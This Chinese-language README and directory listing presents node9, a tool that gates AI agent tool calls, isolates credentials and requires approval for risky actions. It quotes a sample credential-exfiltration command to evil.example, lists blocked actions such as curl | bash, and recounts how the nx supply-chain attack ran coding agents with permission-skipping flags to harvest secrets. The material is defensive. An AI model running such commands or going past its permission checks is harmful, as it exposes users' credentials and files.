关于 node9
node9 是面向 AI Agent 和 MCP 服务的访问控制层,会在工具调用执行前进行检查。它适合需要阻止敏感访问、要求高风险操作经审批,并查看受支持 Agent 活动的个人与团队。
主要功能
- 01阻止访问凭据和敏感文件
- 02高风险操作等待审批
- 03检测密钥和个人信息
- 04MCP 工具授权与固定
- 05网络出口白名单
- 06审计记录与安全态势评分
适用场景
- 01阻止 Agent 读取私钥
- 02审核有破坏性的 Shell 或数据库操作
- 03限制 MCP 服务的工具及其定义
- 04检查设备上的 Agent 活动
MCP 相关
node9 可通过 stdio 作为 MCP 服务运行,提供状态、安全态势、审计记录、策略及决策说明。它也能封装其他 MCP 服务,对各工具授权并固定工具定义。
配置
本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。
工具
18收录的工具列表 · 更新于 2 周前
此工具无需参数。
详细介绍
🛡️ node9
AI Agent 访问控制
你的 AI Agent 可以访问 Slack、GitHub、电子邮件和数据库。
node9 决定它们可以对每个服务执行哪些操作。
凭证隔离 · 机密信息和 PII · 具有破坏性的 Git、SQL 和 Shell 操作需审核 · MCP 工具固定 · 网络出口允许列表 · 循环中断器 · 一条记录覆盖十二个 Agent
适用于 Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任意 MCP 服务。
效果展示
这是安装了 node9 的真实 Claude Code 会话。每次工具调用都会在执行前经过检查。构建页面和编辑按钮可以正常运行。访问云元数据地址的请求会被拦截,Agent 会收到原因并继续执行。删除文件则会暂停,等待你直接在聊天中批准。
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
然后,在任意项目中:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
需要 Node.js 22+。
在新的交互式终端中,node9 会引导你完成设置。本地保护无需账户。检查清单会显示推荐的防护、DLP/PII、可选的网络出口审查和后台服务。只有在你接受单独提示后,才会发送使用统计信息。摘要会列出已配置的 Agent,以及需要注意的设置步骤。
运行 node9 setup 可重新进入设置,或运行 node9 setup <target> 配置一个 Agent。配置完成后,直接运行 node9 会显示帮助信息。仍可使用 node9 init;对于脚本,请使用 node9 init --recommended(不会提问,也不会请求同意遥测)。--skip-setup 不会更改 Agent 配置或服务安装。显式指定的 --mode 优先于检查清单对标准模式的建议。除非所选更改或显式标志要求更新,否则会保留现有设置。工作区策略在仪表板中管理;服务设置保留在本地。
login 不会增加任何防护。 它会将设备连接到工作区,让团队能够集中查看所有成员笔记本电脑和 CI 上的记录、统一设置策略,并通过仪表板或 Slack 批准被拦截的操作。跳过此步骤,node9 的运行方式完全不变,仍可独立离线运行。node9 logout 可断开连接,本地防护仍会继续运行。
用作 MCP 服务
node9 也可以作为 MCP 服务运行,因此 Agent 能在对话中读取其状态、安全状况、审计记录和策略,并解释每项决策:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
任何 MCP 客户端的配置方式都相同:通过 stdio 运行命令 npx -y node9-ai mcp-server,无需 API 密钥。它已列入官方 MCP Registry,名称为 io.github.node9-ai/node9。
问题
2025 年 8 月,被入侵的nx 构建工具版本发布了一个安装后脚本。该脚本会查找开发者机器上已安装的 AI 编码 Agent,然后使用它们各自关闭安全标志的方式运行这些 Agent(--dangerously-skip-permissions、--yolo、--trust-all-tools),以枚举 SSH 密钥、云凭据和钱包文件,并将列表写入磁盘。该脚本随后将结果推送到受害者自己 GitHub 账户中的公开仓库。超过 1,000 个有效 GitHub 令牌泄露,同时泄露的还有云凭据、npm 令牌和约 20,000 个文件,而 Agent 当时只是在机器上执行被告知要做的事。
Agent 不是攻击者。Agent 是工具,而它与这些文件之间毫无阻隔。node9 的防护门不是这类标志:它在钩子中运行,即使启动 Agent 时跳过了权限检查,被拦截的操作仍会保持拦截状态。
node9 如何应对
node9 位于 Agent 与其调用的每个工具之间。凭据隔离区(~/.ssh、~/.aws、.env 文件、私钥)默认启用,对这些路径的读取不会执行。Agent 会被拦截并告知原因,而决策会交由你处理:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
命令会被解析为 shell AST,而不是按文本匹配,因此包装读取操作也无济于事。echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 会被判定为读取 ~/.aws/credentials,而不是 echo。
node9 是一道防护门。操作被拦截后,在等待你处理期间不会执行;如果你始终不作答,它就会一直被阻止。其他所有操作都会放行并写入记录。
它不会做什么: 默认情况下,出口控制处于关闭状态;此时,像 curl -d @~/.aws/credentials 这样直接将文件传到网络的命令,不会被视为读取该文件。node9 egress protect 也会拦截目标地址,但只适用于 shell 命令。
亲自验证
以下内容无需账号,也不会上传你的代码。scan-repo 会发送匿名使用次数统计(不包含仓库名称或代码);设置 NODE9_NO_TELEMETRY=1 可关闭此功能。
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
管理范围
每一行对应一项能力,并附有介绍该能力的页面。文档是参考依据;此文件是索引。
| 凭据隔离区 | ~/.ssh、~/.aws、.env 和私钥会对所有工具屏蔽,而不仅限于 shell | 文档 |
| 始终生效的规则 | 禁止破坏性 git 操作、不带 WHERE 的 SQL、curl | bash 和未经授权的 sudo,无需配置 | 文档 |
| 机密信息和个人身份信息 | 在任何工具参数中检测 AWS 密钥、GitHub 和 Stripe 令牌、PEM 密钥以及银行卡号或 SSN 格式,并在后台扫描 Agent 写回的内容 | 文档 |
| 按服务划分的防护规则 | 为 Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub 和文件系统提供精选规则包 | 文档 |
| 内联审核 | 被拦截的操作会在 Agent 对话中请求你批准,或由团队审批者处理 | 文档 |
| 出站流量许可名单 | 控制 shell 命令可将数据发送到何处,默认关闭 | 文档 |
| MCP 网关 | 封装任意 MCP 服务、授权各项工具,并固定工具定义,防止服务在你不知情的情况下更改定义 | 文档 |
| 沙箱 | 在容器中运行 Agent,并使用内核级出站流量许可名单和范围受限的挂载 | 文档 |
| 安全态势评分 | 显示此机器的暴露程度,并提供修复每项问题的命令 | 文档 |
| 代码库扫描 | 在 CI 或命令行中查找可能让外部人员劫持持有你机密信息的 Agent 的工作流 | 文档 |
| 会话历史 | 查看 node9 安装前,此机器上的每个 Agent 已执行的操作 | 文档 |
| 实时监控和报告 | 提供终端仪表板,以及汇总费用、工具、拦截操作和影响范围的窗口式报告 | 文档 |
| Skills 固定 | 在会话之间对已安装的 Claude skills 和插件进行 SHA-256 校验 | 文档 |
| 金丝雀凭据 | 植入伪造密钥,以证明发生过数据外泄尝试 | 文档 |
| Python SDK | 管控任意 Python Agent,而不仅限于命令行工具 | 文档 |
| 完整的 CLI 和配置参考:node9.ai/docs。 | ||
| 各层如何协同:工作原理。 |
学习
可独立阅读的背景资料。每个页面都会说明 node9 不涵盖哪些内容。
- 被劫持的 Agent 能做什么?:单个会话遭到入侵后的影响范围
- AI Agent 如何泄露机密:凭据实际外泄的途径
- Claude Code 安全:钩子、权限模式,以及它们无法阻止的情况
- MCP 安全:MCP 服务开放的工具面
- OWASP Agentic Top 10:相关清单及其与实际控制措施的对应关系
比较
- node9 与其他方案对比:对比矩阵,包括 node9 得分较低的项目
- 各 Agent 的覆盖范围:十二种受支持的 Agent 各自受哪些治理
相关项目
- node9-python:Python SDK
- node9 Agent Security:GitHub Action,
uses: node9-ai/node9-proxy@v2,使用相同引擎审核每个 PR(它会发送相同的匿名使用次数;telemetry: false可将其关闭)
企业版
node9 Pro 增加了治理锁定、SAML/SSO、集中式审计导出和 VPC 部署。请访问 node9.ai。
许可证
Apache-2.0
用 ☕ 和适度的偏执打造。
评论
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。